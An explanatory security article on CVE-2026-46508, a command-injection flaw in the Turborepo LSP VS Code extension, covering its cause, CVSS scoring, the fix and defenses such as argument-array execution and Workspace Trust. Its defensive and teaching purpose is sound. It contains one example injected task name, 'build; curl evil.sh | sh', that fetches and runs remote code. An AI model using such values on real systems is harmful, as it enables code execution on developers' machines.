Build systems do not usually feature in vulnerability roundups, but the developer tooling wrapped around them increasingly does. CVE-2026-46508 targets the Turborepo LSP extension for Visual Studio Code — the language-server integration that powers in-editor features for Turborepo, the high-performance build system used across large JavaScript and TypeScript monorepos. According to the National Vulnerability Database, versions of the extension prior to 2.9.14000 “could execute shell commands derived from workspace-controlled values,” which is a quiet way of saying that simply opening the wrong repository in VS Code could hand an attacker code execution on the developer’s machine.
The mechanism is worth stating precisely because it explains why this class of bug keeps recurring. Per the NVD description, the extension “used string-based command execution for Turborepo daemon commands and task runs.” That means it built shell command strings by concatenating in values it read from the project — workspace settings and task names defined in the repository’s own source code. A malicious or compromised repository could place crafted values in those fields. When the extension activated, or when the developer ran a task through it, the crafted values were interpolated into the command string and interpreted by the user’s shell, “allowing arbitrary command execution with the privileges of the local VS Code process.”
The CWE class: command injection
NVD classifies the flaw as CWE-77: Improper Neutralization of Special Elements used in a Command (‘Command Injection’). CWE-77 is the parent of the more familiar OS-command-injection weakness; it covers any case where a program builds a command from input it does not control and the special elements in that input change the command’s meaning. The root cause named in the advisory — “string-based command execution” — is the canonical anti-pattern. When a program assembles a command as a single shell string and then asks a shell to interpret it, every metacharacter in the interpolated data (semicolons, backticks, $() substitutions, pipes) becomes a potential control character. The defensive alternative is to invoke the target program with an explicit argument array and no shell, so that a task name like build; curl evil.sh | sh is treated as one literal argument rather than three shell statements.
What makes the Turborepo case modern is the trust boundary it crosses. The malicious input is not network traffic or a web form; it is the contents of a git repository. Developers routinely clone untrusted code — reviewing a pull request, evaluating an open-source dependency, investigating a bug report’s reproduction — and editors increasingly run automatic tooling the moment a folder opens. That “workspace trust” problem has produced a steady stream of VS Code extension vulnerabilities, and CVE-2026-46508 is squarely in that lineage: the act of opening a folder, not running anything, can be enough to trigger execution.
Why the CVSS is what it is
The record carries two scores. NVD’s own CVSS v3.1 base score is 7.8 (High), vector AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H. The attack vector is Local (AV:L) because, even though the malicious repository may have traveled across the network, the exploitation happens on the developer’s own machine through a file/workspace the user opens. Privileges required are None (PR:N) — the attacker needs no account on the victim’s system — but user interaction is Required (UI:R) because someone has to open the repository or run the task. The impact triad is High across the board (C:H/I:H/A:H): arbitrary code in the VS Code process means full compromise of the user’s context.
The vendor advisory, issued through GitHub, scores it slightly higher under CVSS v4.0 at 8.4 (High), vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H. The two frameworks agree on the essentials — local vector, no privileges, full impact — and differ mainly in how they model the user’s involvement, with v4.0 treating it as “Active” interaction. Either way, this is a High-severity issue whose real-world risk is amplified by who the targets are: developers, whose machines hold source code, signing keys, cloud credentials, and the access needed to poison a software supply chain.
What is affected and how to fix it
The affected component is the Turborepo LSP VS Code extension in all versions before 2.9.14000; the fix landed in 2.9.14000. The remediation is to update the extension to that version or later. VS Code’s built-in extension auto-update will pull the fix for most users, but teams should verify, because pinned or offline installations may lag. As a defense-in-depth measure, developers should make use of VS Code’s Workspace Trust feature, which restricts automatic task and extension activity in folders the user has not explicitly trusted — precisely the gate that blunts “open the folder and you’re owned” bugs like this one.
The durable takeaway for defenders is to treat untrusted repositories as untrusted input, with the same caution applied to email attachments or web downloads. Reviewing a stranger’s pull request should not be a higher-risk activity than visiting a website, but string-based command construction in editor tooling keeps making it one. The fix for CVE-2026-46508 closes this specific path; the structural defense is for tooling authors to abandon shell-string interpolation in favor of argument-array execution, and for organizations to keep editor extensions patched and Workspace Trust enabled by default.
It is also worth noting how routine the triggering action is. Turborepo exists specifically to manage large monorepos that aggregate many packages and contributors, so the surface area for a poisoned turbo.json, workspace setting, or task name is wide, and the people most likely to open such a repository are exactly the maintainers with the broadest access. A reviewer pulling a fork to test a contribution, a security researcher reproducing a report, or an engineer onboarding to an unfamiliar service all perform the same gesture — open the folder in VS Code — that this flaw weaponizes. That is what separates an editor-extension command injection from a theoretical bug: the cost of exploitation is a single, ordinary developer workflow that no one thinks of as dangerous.